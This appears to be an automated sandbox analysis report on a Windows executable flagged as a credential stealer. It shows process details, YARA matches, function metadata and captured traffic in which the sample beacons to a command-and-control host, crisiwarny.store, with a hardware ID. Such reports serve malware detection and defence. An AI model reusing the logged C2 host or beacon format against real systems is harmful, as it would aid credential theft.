2024-10-27 19:15:23 UTC	15331	OUT	Data Raw: 8f 32 ef 19 ee de bc d4 46 50 d9 a2 68 d3 e1 28 4a 94 4f 09 f0 f1 d7 97 26 98 1a 34 90 cd cf 05 6a 9b 18 49 09 f1 76 3f 22 5e 02 8f 48 92 32 bf 14 91 e2 38 88 15 93 9a 84 fa e1 ac bd 37 ae 15 9f d2 06 75 5e a1 78 6f 7c 70 47 f5 b6 71 bf fd 25 48 89 5b a8 22 21 4d b4 31 e0 f7 19 c2 09 08 09 8e c9 67 2f 0b d2 e0 39 72 f2 a1 06 f1 50 4e 8d 7d 78 48 9f 3b 95 6b 3e 7d ce f2 29 41 18 dc b7 94 db a3 7c 00 ce c0 a2 77 ee f0 25 2e 1a 25 8b 8b 75 df 60 3b 8a 4f 1f 79 0a 4c 51 7e b3 db 05 d7 51 da 26 7a 27 53 f6 ae b1 b1 7b b9 11 57 44 df 14 00 11 9e 47 2f c3 10 6c d2 5b d8 f4 00 ee ed cf a5 4b 06 dc 25 c4 a3 ab 59 e7 8c ea 08 47 62 78 b2 2a da cd 42 66 10 0d 42 1e 46 26 c6 af 05 3b 92 0f 7d a7 4a 4c 1c 68 f8 55 4c bc 96 a5 61 35 9a 76 57 ee 3d 96 71 fc 67 0b 36 af Data Ascii: 2FPh(JO&4jIv?"^H287u^xo\|pGq%H["!M1g/9rPN}xH;k>})A\|w%.%u`;OyLQ~Q&z'S{WDG/l[K%YGbx*BfBF&;}JLhULa5vW=qg6
2024-10-27 19:15:25 UTC	1017	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 19:15:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ectmbr0p5bkvl2b7iobq2vl2n6; expires=Thu, 20 Feb 2025 13:02:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NPTZZl8loul9ucjC1RGJXPGu0q7FSLVlS2jB0H%2F8hJMzmZypU%2Bt7SU1j8jtDn3ek0udLkEd4afw2rB8vAg8qood7j%2BXVvGcjDcLqVJ1o9b4GVk7QIfI1CMvd%2FXyTnJqZeis7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9503b76b650c34-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1884&sent=233&recv=627&lost=0&retrans=0&sent_bytes=2838&recv_bytes=571981&delivery_rate=1856410&cwnd=250&unsent_bytes=0&cid=7e3de8824d2db696&ts=1966&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49712	104.21.95.91	443	4292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 19:15:25 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: crisiwarny.store
2024-10-27 19:15:25 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 44 33 34 46 33 46 35 34 46 30 44 32 37 37 32 32 34 37 30 30 35 36 33 44 45 45 43 43 43 30 38 34 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=D34F3F54F0D277224700563DEECCC084
2024-10-27 19:15:26 UTC	1009	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 19:15:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=572bs54l60g3nirh87gluoa4no; expires=Thu, 20 Feb 2025 13:02:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Aql9Sx%2Bf8lbbypnDV64Mk9zMT8Zs2VWD66S9wXEcRfl1oD8MoqhhB1ZDHRCsG22%2BuUoMTX8Gj4xyXtNZvaS9DNcvWGn2bQsE5T2HotBmhgl4MfuU2Zy1%2Ft6uT%2B2ylhO7KB93"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9503c7be1e4618-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1155&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=987&delivery_rate=2399337&cwnd=251&unsent_bytes=0&cid=50b7eed344190f8b&ts=504&x=0"
2024-10-27 19:15:26 UTC	299	IN	Data Raw: 31 32 34 0d 0a 31 79 77 36 4a 4d 4c 56 4e 65 37 7a 69 2f 68 64 4e 7a 59 44 53 52 31 51 56 57 6e 61 61 6f 47 6b 4e 4e 35 73 39 31 67 65 68 70 65 4d 56 78 68 52 34 4f 38 58 68 6f 66 2f 69 47 64 72 47 56 39 6d 4c 47 68 67 52 2b 68 62 74 49 6f 46 37 31 2f 5a 61 53 6a 61 75 4c 68 4b 58 48 6a 74 73 56 43 49 33 65 36 41 4f 42 55 61 49 53 39 70 63 6d 39 5a 39 6b 6a 6b 68 67 37 75 45 64 73 6a 50 50 4f 31 37 51 35 53 55 4c 61 6c 44 37 4c 63 31 39 64 73 44 77 4d 74 65 79 78 6c 65 31 6a 72 57 61 2b 56 41 6f 4a 44 6d 6a 46 77 34 38 76 34 58 6c 74 4b 70 72 70 59 77 4a 62 7a 6e 58 38 62 46 47 55 39 50 32 70 6c 52 66 67 50 6f 35 34 46 6f 30 43 4d 65 6d 75 6b 72 66 56 45 54 6c 43 79 37 32 6e 42 72 36 54 4a 5a 51 49 59 4d 58 67 6f 66 6d 52 59 36 55 53 77 6b 6d 6a 78 41 5a Data Ascii: 1241yw6JMLVNe7zi/hdNzYDSR1QVWnaaoGkNN5s91gehpeMVxhR4O8Xhof/iGdrGV9mLGhgR+hbtIoF71/ZaSjauLhKXHjtsVCI3e6AOBUaIS9pcm9Z9kjkhg7uEdsjPPO17Q5SULalD7Lc19dsDwMteyxle1jrWa+VAoJDmjFw48v4XltKprpYwJbznX8bFGU9P2plRfgPo54Fo0CMemukrfVETlCy72nBr6TJZQIYMXgofmRY6USwkmjxAZ
2024-10-27 19:15:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	15:15:08
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x8b0000
File size:	2'991'616 bytes
MD5 hash:	4FEDB70A7D089A6D597ED457DBE08E9D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2161404498.000000000115F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2199880231.0000000001161000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2179905244.000000000114E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2196444620.0000000001161000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2165909480.0000000001160000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2180899538.0000000001160000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2199932512.0000000001165000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2148112355.000000000115F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2180542258.0000000001160000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2164822716.0000000001161000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2196045132.0000000001160000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:15:32
Start date:	27/10/2024
Path:	C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe"
Imagebase:	0x840000
File size:	2'815'488 bytes
MD5 hash:	728F12175C37A35D5D88861DC368FDEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:15:34
Start date:	27/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4292 -s 1880
Imagebase:	0x330000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.3%
Dynamic/Decrypted Code Coverage:	27.9%
Signature Coverage:	7%
Total number of Nodes:	43
Total number of Limit Nodes:	2

Executed Functions

Function 052415D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 052418C8

Memory Dump Source

Source File: 00000003.00000002.2480582459.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5240000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: f7bbe8c7b95fd703603b39a367171be62197cfc2e06499a6944a9406102eddeb
Instruction ID: c3a7d3a3b188debb233d1c667ff0b1bfac21271660b6cf82ff04480995338bd8
Opcode Fuzzy Hash: f7bbe8c7b95fd703603b39a367171be62197cfc2e06499a6944a9406102eddeb
Instruction Fuzzy Hash: 8AC14E71D2065A9FDB18CFA8C9857AEBBF1FF49310F148225E859E7284D77488A1CF81

Function 009C42F6 Relevance: 1.6, APIs: 1, Instructions: 85
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,009C42C9,?,00000000,00000000,00000003), ref: 009C4407

Memory Dump Source

Source File: 00000003.00000002.2477884596.00000000009BE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2477685035.0000000000840000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477705666.0000000000842000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477721787.0000000000846000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477738028.000000000084A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477756296.0000000000856000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477847682.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477865045.00000000009AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477917364.00000000009CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477932961.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477949580.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477965534.00000000009E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477984339.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477999982.00000000009F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478017120.00000000009FE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478035883.0000000000A00000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478052983.0000000000A08000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478081504.0000000000A13000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478097254.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478112964.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478131771.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478216480.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478245881.0000000000A29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478329770.0000000000A2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478347641.0000000000A34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478365926.0000000000A39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478382927.0000000000A3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478399618.0000000000A42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478417230.0000000000A4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478434248.0000000000A4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478448038.0000000000A4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478463827.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478480656.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478495209.0000000000A5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478510974.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478525686.0000000000A6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478542321.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478560481.0000000000A76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478577850.0000000000A7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478593665.0000000000A81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478612515.0000000000A90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478629800.0000000000A94000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000ADD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000AE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478697726.0000000000AF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478713371.0000000000AF7000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6d20f0abc4c2e7ceb303f01851ce3bd0be9306986cfe180524564f6e69474d99
Instruction ID: 52e21599f432728af33d5275a694c85c531f1c5404bd0af90703de6889511ce3
Opcode Fuzzy Hash: 6d20f0abc4c2e7ceb303f01851ce3bd0be9306986cfe180524564f6e69474d99
Instruction Fuzzy Hash: 9A118FB7F482A96DB601CE945F70FBE676CEAD2370B30882EF801C6542D2548E056677

Function 0084B7E6 Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 0084B956

Memory Dump Source

Source File: 00000003.00000002.2477738028.000000000084A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2477685035.0000000000840000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477705666.0000000000842000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477721787.0000000000846000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477756296.0000000000856000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477847682.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477865045.00000000009AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009BE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477917364.00000000009CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477932961.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477949580.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477965534.00000000009E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477984339.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477999982.00000000009F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478017120.00000000009FE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478035883.0000000000A00000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478052983.0000000000A08000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478081504.0000000000A13000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478097254.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478112964.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478131771.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478216480.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478245881.0000000000A29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478329770.0000000000A2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478347641.0000000000A34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478365926.0000000000A39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478382927.0000000000A3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478399618.0000000000A42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478417230.0000000000A4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478434248.0000000000A4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478448038.0000000000A4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478463827.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478480656.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478495209.0000000000A5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478510974.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478525686.0000000000A6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478542321.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478560481.0000000000A76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478577850.0000000000A7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478593665.0000000000A81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478612515.0000000000A90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478629800.0000000000A94000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000ADD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000AE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478697726.0000000000AF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478713371.0000000000AF7000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 78615e8cb8b1f17912f1fede1cb30bd981a92e797b455d7dcb2346e40e2a4011
Instruction ID: c382366cd8ac9033e1c3da72c0fde60400b2eb026c0ebd7b68526ccaa6021e73
Opcode Fuzzy Hash: 78615e8cb8b1f17912f1fede1cb30bd981a92e797b455d7dcb2346e40e2a4011
Instruction Fuzzy Hash: A2E0C27215858E9ACB169FB8880179A7F1DFB41710F600124FB01DAE49DB3DDC1287A6

Function 009D2022 Relevance: 4.6, APIs: 3, Instructions: 66
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 009D2121
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 009D2148
GetNativeSystemInfo.KERNELBASE(?), ref: 009D219F

Memory Dump Source

Source File: 00000003.00000002.2477917364.00000000009CF000.00000080.00000001.01000000.00000006.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2477685035.0000000000840000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477705666.0000000000842000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477721787.0000000000846000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477738028.000000000084A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477756296.0000000000856000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477847682.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477865045.00000000009AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009BE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477932961.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477949580.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477965534.00000000009E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477984339.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477999982.00000000009F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478017120.00000000009FE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478035883.0000000000A00000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478052983.0000000000A08000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478081504.0000000000A13000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478097254.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478112964.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478131771.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478216480.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478245881.0000000000A29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478329770.0000000000A2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478347641.0000000000A34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478365926.0000000000A39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478382927.0000000000A3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478399618.0000000000A42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478417230.0000000000A4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478434248.0000000000A4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478448038.0000000000A4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478463827.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478480656.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478495209.0000000000A5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478510974.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478525686.0000000000A6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478542321.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478560481.0000000000A76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478577850.0000000000A7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478593665.0000000000A81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478612515.0000000000A90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478629800.0000000000A94000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000ADD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000AE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478697726.0000000000AF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478713371.0000000000AF7000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 94aec3a7da6e596be9edb75a61f4f5d7c89d49228d6a73ba340c57003087005b
Instruction ID: 371570d70edf9c0eddcbcf13437497280a09062a5333e245b0e7bf3292fd97e7
Opcode Fuzzy Hash: 94aec3a7da6e596be9edb75a61f4f5d7c89d49228d6a73ba340c57003087005b
Instruction Fuzzy Hash: C431177250414E9EEF11DF60C848BEF3AA9FF18705F00542AED4282A50DBB64DA4DF59

Function 009C43CD Relevance: 3.2, APIs: 2, Instructions: 157
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,009C42C9,?,00000000,00000000,00000003), ref: 009C4407

Memory Dump Source

Source File: 00000003.00000002.2477884596.00000000009BE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2477685035.0000000000840000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477705666.0000000000842000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477721787.0000000000846000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477738028.000000000084A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477756296.0000000000856000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477847682.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
